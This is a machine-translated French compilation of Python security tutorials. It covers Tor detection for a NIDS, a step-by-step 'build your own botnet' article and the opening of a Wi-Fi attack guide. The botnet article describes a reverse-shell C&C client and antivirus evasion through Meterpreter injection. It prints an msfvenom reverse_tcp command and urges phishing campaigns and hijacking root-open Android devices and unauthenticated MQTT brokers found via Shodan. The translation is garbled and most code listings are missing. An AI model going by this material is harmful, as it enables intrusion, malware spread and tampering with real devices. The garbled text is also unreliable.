Académique Documents
Professionnel Documents
Culture Documents
Ensuite, nous voyons une alerte (figure 29) avec quelques détails sur l'attaque et les déclarations qui ont été utilisées
Tor est un logiciel gratuit pour permettre la communication anonyme, Tor dirige le trafic Internet via un réseau de superposition gratuit,
mondial et bénévole composé de plus de sept mille relais pour cacher l'emplacement et l'utilisation d'un utilisateur à toute personne
effectuant une surveillance du réseau ou une analyse du trafic. L'utilisation de Tor rend plus difficile la remontée de l'activité Internet
jusqu'à l'utilisateur; cela comprend «les visites de sites Web, les publications en ligne, les messages instantanés et autres formes de
communication».
Qu'est-ce que cela signifie si vous trouvez T ou trafic sur votre réseau?
Cela signifie s :
• Certains logiciels qui s'exécutent sur un ou plusieurs des périphériques réseau connectés au réseau Tor.
Quels que soient les avantages d'un réseau Tor, ce trafic peut être une référence à des risques plus graves, par exemple:
276
Construisez votre propre NIDS avec Scapy
1. Contourner les contrôles de sécurité: Tor crypte tout le trafic sur le réseau et rend la surveillance des activités trop
difficile. Les employés peuvent contourner les politiques de sécurité et les contrôles de l'organisation très facilement.
2. Impacts sur la réputation de l'organisation et sur la liste noire: P Les personnes gérant les «nœuds de sortie» peuvent utiliser
le nœud pour ajouter des logiciels malveillants, et tout utilisateur téléchargeant via Tor expose l'organisation de
3. Attaques de logiciels malveillants et de botnet: les personnes exploitant l'un des «nœuds de sortie» peuvent utiliser l'appareil pour ajouter
des logiciels malveillants, et tout utilisateur téléchargeant via Tor expose l'organisation de réseau à une infection par un logiciel malveillant.
4. Attaques DDoS: Le trafic réseau Tor peut entraîner une utilisation élevée de la bande passante du réseau
1. T entrant ou alors trafic: ce type est facile à reconnaître car tous les T ou alors les nœuds de sortie sont connus du public.
2. T sortant ou alors trafic: est beaucoup plus difficile sinon impossible à reconnaître car tous les nœuds d'entrée ne sont pas connus
publiquement.
Nous utilisons exonérateur ( partie de T ou alors project) qui est un service qui maintient une base de données d'adresses IP qui
ont fait partie du réseau Tor, et ce service répond à la question: s'il y avait un relais Tor fonctionnant sur une adresse IP donnée à
une date spécifiée. Un péché figure 30 nous extrayons l'adresse IP et la date de capture des paquets et les envoyons à Exonérateur
placer.
import datetime
demandes d'importation
importer prettytable
277
Construisez votre propre NIDS avec Scapy
global a
global ss
retourne True
autre:
retourne False
a = rdpcap (chemin)
pour x dans a:
si x.haslayer (TCP) et x.getlayer (IP) .dst pas dans Tor_relay et x.getlayer (IP) .src pas dans user:
278
Construisez votre propre NIDS avec Scapy
r.json ()
x.add_row ([("{ip}". format (** json_response)), us, ("{country_name}". format (** json_response
)), \
imprimer x
Figure -30
279
Construisez votre propre NIDS avec Scapy
Conclusion:
À la fin de cet article, nous construisons un NIDS simple capable de détecter les attaques courantes qui ciblent les couches de liaison de données
et d'application basées sur des modèles correspondant aux expressions régulières.En fait, ce NIDS a besoin de plus de développement dans le
mécanisme de détection en améliorant les expressions régulières pour couvrir les dernières attaques et minimiser les alertes fausses / positives.
280
Construisez votre propre NIDS avec Scapy
Les références:
• https://www.acunetix.com/blog/articles/blind-xss/
• https://andreafortuna.org/tor-in-a-company-network-how-to-detect-and-b
lock-it-934d92b4da9e
• https://en.wikipedia.org/wiki/DNS_spoofing
• https://en.wikipedia.org/wiki/SQL_injection
• https://en.wikipedia.org/wiki/Cross-site_scripting
• https://www.amazon.com/Understanding-Network-Hacks-Attack-Defense/ dp /
3662444364
• https://www.nostarch.com/blackhatpython
• http://resources.infosecinstitute.com/port-scanning-using-scapy/
• https://leanpub.com/web-hacking-101
281
Python pour IOT: créez
votre propre botnet et
amusez-vous avec le
protocole MQTT
sécurité.
Je suis un adepte de la cybersécurité, en particulier des thématiques orientées vers la lutte contre les
malwares, raison pour laquelle je conçois toutes sortes de solutions pour prévenir et atténuer tout
incident pouvant être produit dans les systèmes réseau. De plus, je suis une personne curieuse qui
aime étudier et tester les nouvelles technologies à l'extrême pour profiter pleinement de ses
Contacter: www.linkedin.com/in/adrian-rodriguez-garcia-64257698
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Contrôler tout type d'appareil connecté au réseau »est devenu l'un des principaux objectifs des cybercriminels. Le contrôle de nombreux
appareils leur permet d'attaquer de grandes infrastructures réseau pour atteindre leur objectif ou uniquement de provoquer un déni de
service.
• Protocole MQTT.
introduction
Tout d'abord, nous allons parler des principales attaques qui ont eu lieu au cours de cette année. L'objectif est de montrer le gros problème de sécurité
qui existe aujourd'hui en raison de la connaissance des cybercriminels et du manque de connaissances ou de sensibilisation des personnes.
Ensuite, nous utiliserons le langage Python et l'énorme puissance de ses bibliothèques pour montrer comment créer un botnet de base par
attaque indirecte. Autrement dit, aucune attaque ne sera effectuée sur aucun système, car ce seront les personnes qui installeront les logiciels
Ensuite, nous attaquerons directement les systèmes Android dans le but d'obtenir un botnet. Pour cela, nous utiliserons un moteur de
Enfin, nous parlerons d'un protocole MQTT, très fréquemment utilisé dans le monde IOT, et comme on le verra, très dangereux s'il
Tout au long de cette année, différents incidents de sécurité se sont produits liés à la sécurité des appareils connectés à Internet.
Ensuite, nous parlerons de certaines des méthodes les plus importantes pour comprendre les différentes méthodes utilisées, du fonctionnement de leurs
284
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
IOT_reaper
Il a été vu pour la première fois en septembre. Ce botnet a provoqué de vastes pannes Internet en lançant des attaques DDoS massives et sa
principale caractéristique est sa croissance rapide. Le malware a infecté deux millions d'appareils et a eu un taux de croissance de
IOT_reaper ne dépend plus de la fissuration des mots de passe faibles, au lieu de cela, il exploite les vulnérabilités de divers appareils IoT
Persirai
C'est un botnet qui vise plus de 1000 modèles de caméras IP. Personne ne connaît le nombre exact d'appareils dont dispose le
botnet, mais nous savons, grâce à Trend Micro, qu'il y a plus de 120 000 vulnérables que l'on peut trouver à Shodan.
Beaucoup de ces utilisateurs vulnérables ne savent pas que leurs caméras IP sont exposées à Internet. Cela facilite
grandement l'accès à l'interface Web de la caméra IP via le port TCP 81.
Amnésie
Amnesia est un botnet IoT ciblant les enregistreurs vidéo numériques (DVR). Le malware exploite une vulnérabilité révélée il y a plus
d'un an impliquant l'exécution de code à distance dans le micrologiciel Linux des DVR.
Ce malware basé sur Linux est le premier du genre et considéré comme avancé, en raison de ses techniques d'évasion des
machines virtuelles. Le malware détecte s'il s'exécute dans une VM VirtualBox, VMware ou QEMU, des bacs à sable ou des pots de
miel typiques.
Amnesia peut transformer plus de 200 000 appareils vulnérables dans le monde en un botnet. Le logiciel malveillant communique avec les
serveurs de commande et de contrôle (C&C) via le protocole IRC, télécharge la charge utile via des requêtes HTTP et utilise des techniques
BrickerBot
L'attaque vectorielle BrickerBot est similaire au botnet Mirai, par exemple, elle a utilisé des attaques par dictionnaire pour obtenir un
accès non autorisé à l'appareil, mais c'est différent car il exécute une chaîne de commandes Linux malveillantes qui entraînent des
Ce malware tire parti des failles de sécurité des appareils BSLN et MTLN qui permettent l'exécution de code à distance. BSNL et
MTNL permettaient à quiconque sur Internet de se connecter via le port 7547 aux routeurs et modems de leur réseau interne.
Grâce à ce fait, BrickerBot a causé des dommages entre les deux FAI indiens pendant une semaine.
285
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
BlueBorne
Ce n'est pas un botnet ou un malware, c'est une vulnérabilité de la technologie Bluetooth. L'attaque n'oblige pas la victime à
interagir avec le dispositif attaquant. Cela signifie qu'ils peuvent prendre le contrôle de l'appareil sans avoir à interagir avec lui.
Les attaquants peuvent utiliser BlueBorne de deux manières. La première méthode consiste à se connecter à un appareil cible et à exécuter un code
distant sur l'appareil. En outre, il peut créer un ananas Bluetooth pour détecter le trafic, détourner cette connexion et rediriger le trafic.
On calcule qu'il y a environ 5 milliards d'appareils vulnérables. Cela signifie qu'il s'agit de la vulnérabilité Bluetooth la plus
grave identifiée à ce jour.
Comme vu dans la section précédente, les cybercriminels ont des caméras, des DVR ou des routeurs parmi de nombreux autres appareils
comme cibles. Chaque attaque est différente de la précédente, tant dans la forme que dans les objectifs, mais toutes ont une philosophie
commune pour atteindre les objectifs fixés. Cette façon de penser se résume en un mot, «IOT» (Internet Of Things). Autrement dit, tout
Dans cette section, la même philosophie sera suivie. Il doit être clair que chaque appareil dispose d'un système d'exploitation avec lequel
travailler (IOS, Android, Windows, Linux, ...). Dans ce cas, un botnet d'appareils avec le système d'exploitation Windows (ordinateurs portables,
tablettes ou ordinateurs de bureau) sera créé en raison de ma prédilection personnelle pour ce type de système.
Il a été appelé «indirect» car il n'est pas destiné à attaquer directement un appareil en particulier, nous attendrons que par hameçonnage
ou d'autres méthodes, les gens «nous donnent» une session sur leurs appareils.
Pour atteindre cet objectif, nous utiliserons le langage de programmation et les bibliothèques suivants:
• Python 2.7
WMI est l'infrastructure pour la gestion des données et les opérations Windows. La bibliothèque WMI Python fournit une interface pour
interagir avec Windows WMI afin que nous puissions gérer les services Windows, ce qui nous intéresse pour rendre notre botnet
persistant.
286
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Pour exécuter le botnet, les clients sont nécessaires d'une part et le serveur d'autre part. Donc, en premier lieu, le serveur sera créé. Dans
ce cas, la bibliothèque Python de sockets sera utilisée, ce qui nous permettra de connecter des périphériques via un port. Par conséquent,
il est nécessaire de créer une socket qui écoute et accepte les connexions en permanence.
Liste 1:
Une fois que nous avons un serveur de base, nous introduisons des fonctionnalités telles que les suivantes:
Liste 2:
287
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
On observe que différentes fonctions sont utilisées en fonction du nombre saisi, qui est obtenu à partir de la fonction
suivante:
Liste 3:
Une fois qu'une option est introduite, nous pouvons l'exécuter, par exemple, dans le cas où vous souhaitez télécharger un fichier depuis
l'environnement distant, nous aurons besoin du code suivant, en gardant toujours à l'esprit que le client et le serveur se comprennent.
Liste 4:
288
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Dans ce cas, un client reçoit un message sous forme JSON demandant un fichier spécifique. Ensuite, le client envoie d'abord la taille du
Par conséquent, un client peut «télécharger un fichier» sur le serveur, ce qui se fait facilement avec le code suivant.
Liste 5:
Enfin, il suffit de montrer comment les commandes sont envoyées, ce qui revient vraiment à envoyer un fichier, à la différence que, comme il est
logique, les informations qui navigueront sur le réseau seront beaucoup plus petites.
289
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Liste 6:
Fondamentalement, le serveur demande une commande à envoyer aux clients et bloque la connexion jusqu'à ce que le résultat de
l'exécution soit reçu. Une fois la fonction de la commande d'envoi terminée, nous avons notre botnet, mais nous devons créer le client, ce
Tout d'abord, nous créons une socket qui établit la connexion au serveur et reçoit les commandes de notre serveur de commandes et de
contrôle (C&C).
290
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Liste 7:
Notez que les fonctions de " téléverser un fichier " et " télécharger un fichier ”Sont les mêmes que ceux du serveur mais à l'inverse. Autrement dit,
lorsque le client reçoit la commande de télécharger un fichier sur le client, le serveur " télécharger un fichier "Est utilisée et lorsque la commande
La seule partie qui a des changements est d'exécuter des commandes, où un shell inversé sera créé pour exécuter les commandes.
Liste 8:
291
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Enfin, la fonctionnalité la plus puissante est ajoutée, qui est d'injecter un shell en mémoire et, en utilisant le framework Metasploit, nous
Cette fonctionnalité a été choisie pour prendre le code Metasploit encodé d'un exécutable Windows de type " windows
/ meterpreter / reverse_tcp " et entrez-le dans une variable du code client, ce qui élude l'antivirus sans problème.
Comme dans l'exemple précédent, une fois que le client reçoit la commande d'injecter le shell, il injecte le shell en mémoire. Pour
Annonce 9
292
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
msfvenom -a x86 --platform Windows -p windows / meterpreter / reverse_tcp lhost = <IP_SERVEUR> lport =
<PORT_SERVEUR> -e x86 / shikata_ga_nai -b '\ x00' -i 3 -f python
Une fois les étapes précédentes terminées, le botnet serait terminé. La prochaine étape consiste à distribuer le client pour obtenir le
maximum d'appareils, mais cela fait partie de l'imagination de chaque personne, dans mon cas, j'ai fait du phishing pour cacher
l'exécutable en tant que Microsoft docx et je l'ai distribué par e-mail, mais il existe de nombreuses méthodes pour que l'exécutable
Une fois qu'il est exécuté, ce qui suit s'affiche lorsqu'une commande est exécutée sur la machine distante:
Comme indiqué dans cette section, nous pouvons également télécharger ou télécharger des fichiers sur le client.
293
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
3 Fichier téléchargé
Enfin, lorsque le shell est injecté dans l'ordinateur distant, si Metasploit est démarré avec le " exploiter / multi / gestionnaire "
exploiter et la charge utile " windows / meterpreter / reverse_tcp " est introduit, la session client est obtenue.
294
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
4 Shell introduit
Session de 5 mètres
Je tiens à souligner que le test a été effectué dans un environnement LAN, mais il existe des serveurs Python gratuits, tels que PythonAnyWhere
ou des instances Amazon gratuites, qui peuvent être utilisés pour le faire à grande échelle.
Une fois le code terminé, en utilisant, par exemple, pyinstaller, nous pouvons créer un exécutable pour Windows ou Linux, selon
En bref, en utilisant Python et sa bibliothèque de sockets, nous pouvons créer un shell inversé et contrôler n'importe quel système Windows facilement et
rapidement.
La seule exigence indispensable est de créer un bon logiciel à partir de la base donnée ci-dessus pour automatiser l'ensemble du
processus. À ce stade, chaque personne devrait se sentir libre d'enquêter et de modifier le code donné et de s'amuser à créer son propre
botnet. De plus, il est conseillé de faire une bonne campagne de phishing via le courrier, les portails de films, Torrent, etc., ou un autre
En résumé, Python est un excellent outil qui, bien utilisé, peut nous permettre de faire tout ce que nous voulons mais il ne faut pas oublier que
l'objectif principal n'est pas de créer un botnet, qui est le moyen d'atteindre le véritable objectif. Le but est d'attaquer une infrastructure pour
provoquer un déni de service, ou d'effectuer des attaques par dictionnaire pour obtenir des mots de passe, etc. Et pour cela, le botnet est utilisé.
295
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Dans cette section, nous allons attaquer directement les appareils Android en utilisant Shodan, qui dispose d'une API qui peut être utilisée avec Python.
• Python 2.7
Tout d'abord, une fois l'environnement disponible et installé, nous allons faire une recherche sur le Web dans Shodan avec le filtre " root
@ Android ».
6 Web Shodan
La recherche montre les appareils Android avec un accès root qui ont un port ouvert sur le réseau. Cela ne signifie pas que les appareils n'ont
pas de nom d'utilisateur ou de mot de passe, mais lorsque nous y aurons accès, ce sera en tant qu'utilisateur root.
Notez que Shodan ne renvoie que 20 résultats car j'ai créé un compte gratuit, mais pour un cybercriminel, payer le compte
premium ne devrait pas poser de problème et ils auront tous les appareils à leur disposition.
Ensuite, Python sera utilisé pour automatiser la recherche et obtenir toutes les adresses IP et tous les ports.
296
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Liste 10:
L'étape suivante consiste à prendre les résultats obtenus et à les introduire dans une autre fonction qui crée un shell distant et nous
permet d'exécuter des commandes à distance. Nous n'allons pas avoir accès à tous les appareils car certains d'entre eux auront un
nom d'utilisateur et un mot de passe, mais la plupart d'entre eux n'ont aucune sécurité et nous pourrons y accéder sans problème.
C'est la raison de la recherche avec Shodan, qui montre de nombreux appareils vulnérables pour ce type d'objectif. De
plus, les gestionnaires d'appareils ignorent souvent qu'ils les ont sur Internet.
Liste 11:
On peut voir qu'avec la bibliothèque Python " attendez », Nous avons exécuté une commande netcat et nous avons obtenu la session
Lorsque le premier exemple donné est exécuté, nous obtenons les adresses IP et les ports auxquels il doit se connecter pour obtenir une session
root.
297
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Enfin, le dernier exemple est exécuté et nous obtenons une session distante de la machine Android.
Les exemples présentés ci-dessus sont une base sur laquelle commencer à travailler et libérer l'imagination pour créer un botnet cohérent et
sécurisé.
Par exemple, il peut être automatisé pour prendre la sortie du premier exemple et entrer ces informations dans le deuxième exemple. Cette
façon nous permettra de créer automatiquement les sessions shell. De plus, vous pouvez enregistrer les sessions obtenues pour envoyer et
Enfin, si quelqu'un souhaite utiliser Metasploit au lieu de " attendez ”Dans le but de créer un botnet, il peut utiliser la
partie exploit de l'API Shodan.
298
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Annonce 12:
Ce petit exemple renvoie la CVE des vulnérabilités d'une certaine recherche. Ce qu'il faut faire ensuite, c'est effectuer une recherche CVE comme
celle que nous avons faite précédemment et obtenir les adresses IP et les ports de l'équipement vulnérable.
Enfin, les attaques seraient lancées à partir de Metasploit et les sessions seraient obtenues, mais ce n'est pas aussi automatique ou rapide
En bref, en utilisant Python, nous pouvons faire tout ce que nous voulons dans le monde IOT en raison de la puissance de ses bibliothèques et de la rapidité et de
la facilité de création de scripts. Quelle que soit la méthode choisie, comme nous en avons discuté dans la section précédente, vient maintenant le temps
d'attaquer le véritable objectif avec le botnet, mais ce problème est désormais gratuit pour chaque personne qui le souhaite.
Protocole MQTT
MQTT est un protocole de messagerie de publication / abonnement conçu pour la télémétrie M2M (machine to machine) dans les
environnements à faible bande passante et il a été conçu par Andy Stanford-Clark (IBM) et Arlen Nipper en 1999 pour connecter les systèmes de
MQTT est un protocole qui, bien que conçu en 1999, n'a pas été libéré du droit d'auteur avant 2010. Un autre examen
important est qu'il est devenu une norme OASIS en 2014.
Ce protocole est devenu l'un des plus utilisés dans le monde IOT, en raison de la faible utilisation de la bande passante, ce qui fait que la RAM et
le processeur sont en même temps très faibles. Pour cette raison, il s'agit d'un protocole orienté vers le contrôle de capteurs connectés à un
La topologie du réseau qui implémente ce protocole est en étoile, c'est-à-dire que tous les clients sont connectés à un serveur appelé
"Broker" qui est chargé de gérer toutes les informations publiées ou consommées par les clients. Par conséquent, il s'agit d'un type de
299
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
9 Protocole MQTT
Les informations du courtier sont organisées en rubriques, qui sont un ensemble de files d'attente de messages avec une hiérarchie où chaque rubrique
a une structure de données déterminée dans un format déterminé. Le format de données le plus courant est JSON.
Pour pouvoir travailler avec les informations, il est nécessaire de s'abonner à un ou plusieurs sujets dans le courtier. Fondamentalement, nous
• Publier des données: Cette action signifie que les données seront envoyées à une file d'attente dans une rubrique spécifique du courtier, ce qui fait
qu'un autre client qui s'abonne à la rubrique finit de consommer toutes les données.
• Consommer des données: Les données de file d'attente d'une rubrique donnée sont lues.
En premier lieu, nous allons montrer comment MQTT peut être très dangereux si les consignes de sécurité de base ne sont pas correctement
implémentées, et plus tard, nous donnerons quelques indications pour rendre ce protocole sûr.
L'idée principale pour laquelle nous parlons de MQTT est en raison du niveau de danger auquel il est exposé s'il n'est pas sûr. Nous devons nous
rappeler que les données qui naviguent à travers un réseau sont liées à la gestion des appareils. Ces données peuvent être un feu de signalisation, une
300
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Quelqu'un peut-il imaginer ce qui peut arriver si un courtier MQTT d'une centrale nucléaire reste ouvert sur le réseau et que
quelqu'un modifie les valeurs de ses données? Et si quelqu'un a accès à un courtier où plusieurs feux de signalisation sont
Ces questions ont des réponses claires. Par conséquent, nous pouvons maintenant avoir une meilleure idée de l'importance de la sécurité dans ce
protocole. Maintenant, nous allons montrer à quel point il est facile d'accéder à un courtier pour voir et modifier les valeurs qui transitent par le réseau.
Pour atteindre cet objectif, les langages de programmation et bibliothèques suivants seront utilisés.
• Python 2.7
La première chose à faire est de rechercher dans Shodan, comme dans la section précédente, les appareils qui utilisent ce protocole et ne suivent
Annonce 13:
Une fois les adresses IP de tous les courtiers obtenues, il suffit de s'y connecter. Comme nous le verrons ci-dessous, nous pouvons
nous connecter sans problème à la grande majorité car ils n'ont pas d'authentification dans la connexion.
301
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Liste 14:
Dans le code ci-dessus, nous devons d'abord nous connecter au courtier. En second lieu, nous faisons des abonnements aux sujets et enfin, nous
Dans le code, plus précisément dans la partie de l'abonnement aux rubriques, on peut observer qu'il y a des caractères spéciaux. Le
premier abonnement a le caractère "#". Cela nous permet de nous abonner à tous les sujets existants dans le courtier en une seule ligne
de code. En revanche, il est noté que les caractères "$ SYS / # " apparaît dans l'abonnement dans la ligne suivante. Cet abonnement signifie
que nous pourrons interagir avec les informations du système MQTT en temps réel liées au statut de l'activité dans tous les sujets du
courtier.
Une fois le code exécuté, il est conseillé d'analyser la sortie qu'il fournit:
302
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Cette information est de l'or. Les données suivantes peuvent être observées très clairement:
● Clients du courtier:
o Nombre de clients.
o Nombre d'abonnements.
La puissance de ces informations est qu'elles nous permettent de connaître exactement le statut d'un courtier à un moment déterminé et d'avoir des statistiques
en temps réel, ce qui peut nous permettre de connaître le moment idéal pour attaquer et modifier certaines données en envoyant des messages à des sujets qui
303
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
De la même manière que nous nous sommes abonnés à différents sujets qui affichent des informations sur les sujets du courtier, nous nous sommes
abonnés à des sujets. Par conséquent, nous pouvons voir les données qui y sont envoyées / reçues.
11 Données de la batterie
Dans ce cas, nous pouvons observer certaines données liées à un processeur et à la mémoire d'une batterie connectée au courtier.
304
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Cet autre exemple nous donne des informations plus dangereuses que le précédent. Dans ce cas, nous avons des informations sur la
température, l'humidité et le thermostat d'une batterie. Si nous mettons l'adresse IP de ce courtier à Shodan, nous saurons exactement
de quelle société il s'agit et où elle se trouve, ainsi que le danger réel qui existe si nous modifions des données. Dans ce cas, je ne le ferai
pas car je souhaite préserver l'anonymat de l'entreprise et ne pas risquer d'éventuelles poursuites judiciaires.
Imaginons que la batterie provient d'une machine qui construit des voitures. Que pourrait-il se passer si nous modifions les données dans le cas
le plus extrême pour les arrêter? Les dégâts seraient très graves.
Dans ce troisième exemple, nous pouvons vérifier que nous avons accédé à un site où le réseau est configuré via MQTT. Ces
données (modifiées pour n'impliquer personne) montrent toutes les données liées à l'équipement du réseau.
Dans ce cas, les conséquences seraient très claires, car si nous changeons l'IP et le MAC des commutateurs et que nous mettons la même chose
à tous, nous arriverons à jeter le réseau, ce qui peut entraîner de graves dommages.
305
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Cet exemple est le plus amusant de tous. Nous pouvons voir que, dans ce cas, grâce aux garages MQTT, les moniteurs et les téléviseurs sont
contrôlés. En regardant l'exemple en détail, il est clair qu'en utilisant des réponses binaires (0/1), les garages sont ouverts ou fermés ou les
moniteurs sont allumés ou éteints. De plus, le fait de changer en ligne / hors ligne peut allumer ou éteindre les téléviseurs.
À ce stade, il est nécessaire d'indiquer comment les données seraient envoyées aux rubriques pour qu'un autre client lise et modifie les données.
Avec cette simple ligne, nous publierions dans le sujet ce message, qui serait plus tard consommé par un autre client (un
téléviseur) et le téléviseur serait éteint. Tellement facile et simple.
En résumé, MQTT est très dangereux, comme on peut le voir, s'il n'est pas sûr. Pour cette raison, ils donneront une série de
• Premièrement, il peut fonctionner à deux niveaux pour sécuriser les données. Le premier niveau est le réseau qui crypte les données qui
naviguent via TCP / IP avec TLS. Le deuxième niveau consiste à chiffrer la charge utile. De cette façon, si des messages du réseau sont
interceptés, ils ne peuvent pas être lus en texte clair.
• Restreindre l'accès aux sujets. Nous pouvons contrôler quels clients peuvent s'abonner et publier des sujets. Le principal
mécanisme de contrôle est le nom d'utilisateur ou l'ID client. De cette manière, si un "hacker" veut accéder au courtier mais ne
connaît pas l'identifiant du client, il ne pourra jamais y accéder.
• Utilisez des certificats clients, par exemple au format x509. Il s'agit de la méthode d'authentification client la plus sécurisée mais
également la plus difficile à mettre en œuvre car elle doit déployer et gérer des certificats sur de nombreux clients.
• Utilisez le nom d'utilisateur et le mot de passe dans les clients. C'est une bonne idée si ce n'est pas un serveur public mais
une mauvaise idée sinon. C'est peut-être la mesure la plus inutile de toutes, car (attention) à la fois le mot de passe et
l'utilisateur parcourir le réseau en texte brut. En d'autres termes, si quelqu'un accède au réseau et utilise Wireshark, il
pourra voir le mot de passe et l'utilisateur sans problème. C'est-à-dire que si le nombre de mesures de sécurité augmente,
plus nous rendrons le protocole MQTT sécurisé.
306
Python pour IOT: créez votre propre botnet et amusez-vous avec le MQTT
Bref, MQTT est un protocole typique dans le monde de l'IOT qui, bien utilisé, nous permet de connecter tous les éléments de la domotique que
l'on souhaite avec une faible bande passante. D'un autre côté, si ce n'est pas sûr comme nous l'avons vu, la sécurité des données et des données
307
Le pouvoir de
Python
Omar Ahmed
A PROPOS DE L'AUTEUR
Omar Ahmed
Testeur de pénétration avec 5 ans d'expérience dans les applications Web et les tests de
pénétration du réseau, l'analyse des logiciels malveillants et l'ingénierie inverse, l'audit du code
sécurité des applications hautement qualifiée et développement d'outils de sécurité avec une
processus de gestion et évaluation des risques. Impliqué dans les défis de sécurité en
https://www.linkedin.com/in/omar-ahmed-843b6b122
https://www.facebook.com/MistSpark
Puissance de Python
Dans le passé, il y avait beaucoup de langages de programmation que vous pouviez utiliser pour créer vos propres outils de test
d'intrusion, mais il y en avait généralement un qui était le plus populaire et était votre premier choix lorsque vous envisagiez de choisir un
langage de programmation pour faire un test d'intrusion. outils, comme Perl. Dernièrement, les langages de programmation comme
Python et Ruby ont été largement adoptés et ont prouvé leur utilité.
Dans cet article, nous allons essayer de faire la lumière sur certains des avantages et des fonctionnalités de Python. Nous diviserons l'article en
deux parties; la première partie abordera l'utilisation pratique de Python pour effectuer des attaques Wi-Fi, la deuxième partie utilisera Python
J'essaierai de tout expliquer en détail. Mais pour être honnête, vous devez être conscient de certaines choses pour ne rien
manquer.
Introduction:
Avec chaque jour qui passe, la communauté de la connectivité sans fil s'est développée, mais elle a également inauguré de nombreux
problèmes de sécurité. Avec la connectivité filaire, l'attaquant a besoin d'un accès physique pour se connecter et attaquer, mais dans le
cas de la connectivité sans fil, l'attaquant a besoin de la disponibilité du signal pour lancer une attaque. Avant de continuer, vous devez
Point d'accès (AP): Il s'agit d'un périphérique matériel réseau qui permet à un périphérique compatible Wi-Fi de se connecter à un réseau filaire.
Identificateur de l'ensemble de services (SSID): Il s'agit d'une séquence de 0 à 32 caractères alphanumériques. Il est utilisé comme identifiant pour un
réseau local sans fil et est destiné à être unique pour une zone particulière. Étant donné que cet identifiant doit souvent être entré manuellement dans
les appareils par un utilisateur humain, il s'agit souvent d'une chaîne lisible par l'homme et donc communément appelée "Nom de réseau".
Identification de l'ensemble de services de base (BSSID): Il s'agit de l'adresse MAC du point d'accès sans fil.
Le numéro de canal: Cela représente la plage de fréquence radio utilisée par AP pour la transmission.
Remarque: le numéro de canal peut être modifié en raison du réglage automatique du point d'accès. Donc, ne soyez pas
confus si vous avez vu le numéro de canal changer.
802.11: Fournit une bande passante jusqu'à 1-2 Mbps avec une bande de fréquence de 2,4 GHz. Tous les composants de 802.11 sont un ensemble de
contrôle d'accès au support (MAC) et de couche physique (PHY). La couche MAC est la sous-classe de la couche liaison de données.
• Trame de données
310
Puissance de Python
• Cadre de contrôle
• Cadre de gestion
Ces cadres sont pris en charge par la couche MAC. La figure suivante représente le format de la couche MAC:
Comme vous pouvez le voir sur la figure précédente, il existe trois adresses:
Dans cet article, nous nous concentrerons sur le «cadre de gestion». Maintenant, voyons la trame transmise entre le client et AP:
Dans la figure précédente, nous pouvons voir l'échange de cadres. Jetons un coup d'œil aux sous-types de cadre de gestion:
• Balise: Le point d'accès (point d'accès) envoie périodiquement une trame de balise pour annoncer sa présence et relayer les
• Demande de sonde: Le périphérique sans fil (client) envoie une demande de sonde pour déterminer quels points d'accès sont à
portée.
• Réponse de la sonde: En réponse à la demande de sonde, une station (AP) répond avec une trame de réponse de sonde, contenant des
311
Puissance de Python
• Demande d'authentification: Le client envoie une trame de demande d'authentification contenant son identité.
• Demande d'association: Après une authentification réussie, le client envoie une demande d'association qui contient ses
caractéristiques, telles que les débits de données pris en charge et le SSID de l'AP.
• Réponse de l'association: AP envoie une réponse d'association qui contient l'acceptation ou le rejet. En cas
d'acceptation, l'AP créera un ID d'association pour le client.
• Demande de réassociation: Si un client s'éloigne du point d'accès actuellement associé et trouve un autre point
d'accès ayant un signal de balise plus fort, le NIC radio enverra une trame de réassociation au nouveau point d'accès.
• Réponse de réassociation: Un point d'accès envoie une trame de réponse de réassociation contenant un avis d'acceptation
ou de rejet au NIC radio demandant la réassociation.
• Dissociation: Une station envoie une trame de dissociation à une autre station si elle souhaite terminer
l'association.
• Désauthentification: Une station envoie une trame de désauthentification à une autre station si elle souhaite mettre fin aux
communications sécurisées.
Maintenant, il est temps pour la partie pratique. Dans la partie suivante, nous verrons comment effectuer des attaques sans fil avec Python.
Nous utiliserons Kali comme système d'exploitation pour travailler avec ces attaques. Si vous utilisez Kali comme hôte sur votre ordinateur
physique ou portable, vous n'aurez aucun problème à effectuer ces attaques. Mais, si vous utilisez Kali comme machine virtuelle, vous
devez vous procurer un adaptateur sans fil USB, car la machine virtuelle n'utilise pas le matériel réel de l'adaptateur sans fil. Vous ne
Avant d'effectuer l'une de ces attaques, vous devez activer le mode moniteur sur votre interface sans fil avec ces
commandes:
312
Puissance de Python
Comme vous pouvez le voir sur la figure précédente, nous n'avons qu'une seule interface sans fil correspondant à "wlan0". Commençons par
Génial. Nous avons activé avec succès le mode moniteur sur l'interface. Nous sommes maintenant prêts à écrire notre premier programme qui renifle le
Nous utilisons la première ligne pour indiquer au programme d'utiliser l'interpréteur Python. Ensuite, nous avons importé la bibliothèque Scapy et dans
la ligne suivante, nous avons également importé la bibliothèque Struct. Dans la ligne suivante, nous avons déclaré une liste vide à stocker, qui stockera
les adresses MAC des points d'accès. Ensuite, nous avons créé une nouvelle fonction nommée "info" qui prend un argument appelé "fm". Dans la ligne
suivante, nous faisons une condition pour rechercher uniquement les paquets Dot11. Dans la ligne numéro 8, nous pouvons voir que nous avons fait
